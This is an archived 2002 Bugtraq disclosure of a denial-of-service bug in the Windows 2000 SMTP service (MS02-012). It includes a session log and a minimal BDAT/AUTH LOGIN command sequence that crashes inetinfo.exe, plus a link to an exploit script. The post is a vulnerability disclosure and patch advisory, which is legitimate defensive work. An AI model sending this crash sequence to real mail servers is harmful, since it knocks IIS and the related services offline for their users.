

Vulnerability Details for MS02-012

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-03/0132.html>

From: H D Moore (sflist@digitaloffense.net)

Date: 03/07/02

From: H D Moore <sflist@digitaloffense.net>

To: bugtraq@securityfocus.com

Date: Wed, 6 Mar 2002 20:36:46 -0600

On February 27 2002, Microsoft released a patch for a denial of service vulnerability in the Windows 2000 SMTP component. This vulnerability was reported to them in November 2001 though Security Focus's vuln-help list.

This bug affects all Windows 2000 systems running the SMTP service that have not applied the hotfix for MS02-012. The Exchange product uses the same SMTP component and is also vulnerable. If exploited, this bug will cause all services running under inetinfo.exe to die, this includes IIS, FTP, Gopher, etc. These services should automatically restart, but any established sessions will be dropped.

The details and patch can be obtained from:

* <http://www.microsoft.com/technet/security/bulletin/MS02-012.asp>

The "exploit" for can be obtained from:

* http://www.digitaloffense.net/mssmtp/mssmtp_dos.pl

On February 12th, the SP2SR1 patch was released. This update appears to fix the BDAT problem, but there is no mention of the bug in the online documentation, so I still recommend you apply the hotfix even if you have already installed SP2SR1.

<suspicious rant>

In fact, there were quite a few files updated by this patch which had no relation to the vulnerabilities listed in the online documentation. Some of the system dll's which haven't been modified in years were updated by this patch, one of which still remained the exact same file size, but had completely different content. I am curious as to what other vulnerabilities this patch addressed that have not been made public...

</suspicious rant>

Original message to vuln-help@securityfocus.com:

Windows 2000 SMTP Service Crash

Date: Tue, 13 Nov 2001 00:02:35 -0600

From: H D Moore <hdm@secureaustin.com>

SecurityFocus Bugtraq: Vulnerability Details for MS02-012

To: vuln-help@securityfocus.com

SF: Could you please fwd this to the appropriate people at Microsoft.

I discovered a way to crash the Win2K smtp service via the BDAT command, causing inetinfo to die with an access violation. This vulnerability has not been tested on the Exchange 2000 Internet Mail Service and doesn't affect NT 4.0 machines because they don't support the BDAT command. Since Windows 2000 automatically restarts crashed services, this issue would only cause problems on extremely busy sites where a restarting service could cause significant backup. In the brief amount of testing I did, I was unable to control the address that the process tries to access. Here is a brief session log showing the bug:

```
---
Trying 192.168.0.58...
Connected to 192.168.0.58.
Escape character is '^]'.
220 shattered Microsoft ESMTP MAIL Service, Version: 5.0.2195.3779 ready at
Mon, 12 Nov 2001 23:33:28 -0600
HELO BISH
250 shattered Hello [192.168.0.169]
MAIL FROM: ERUSOLCSIDLLUF
250 2.1.0 ERUSOLCSIDLLUF@shattered....Sender OK
RCPT TO: PLUCYLLIS
250 2.1.5 PLUCYLLIS@shattered
BDAT 7
LETRAC AUTH LOGIN
250 CHUNK received OK, 7 Octets
334 VXNlcm5hbWU6
Tm90IGFub3R0ZXIgbm90Y2gg24gY3VscCdzIGJlZHBvc3Q=
334 UGFzc3dvcmQ6
WW91IGNhbiBnbyBhaGVhZCBhbmQgY3Jhc2ggbm93Li4u
501 5.7.3 Cannot decode password
500 5.3.3 Unrecognized command

<session hangs here>
^]
telnet> quit
Connection closed.
hdm@sliver:~ >
---
```

And here is the event log entry:

Event Type: Information Event Source: Application Popup Event Category: None Event ID: 26 User: N/A
Computer: SHATTERED Description: Application popup: inetinfo.exe – Application Error : The instruction
at "0x67849cce" referenced memory at "0x7fb0f000". The memory could not be "read".

Click on OK to terminate the program Click on CANCEL to debug the program

Basicly, placing AUTH LOGIN after the bytes of a BDAT command, then hitting enter a few times crashes the service. The user/pass was not needed and the BDAT command can be used with only 1 byte if so wished. For instance, the following would work:

SecurityFocus Bugtraq: Vulnerability Details for MS02-012

BDAT 1<cr> XAUTH LOGIN<cr> (output from auth login) <cr> <cr>

- **Previous message:** [EnGarde Secure Linux: "\[ESA-20020307-007\] Local vulnerability in OpenSSH's channel code."](#)
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)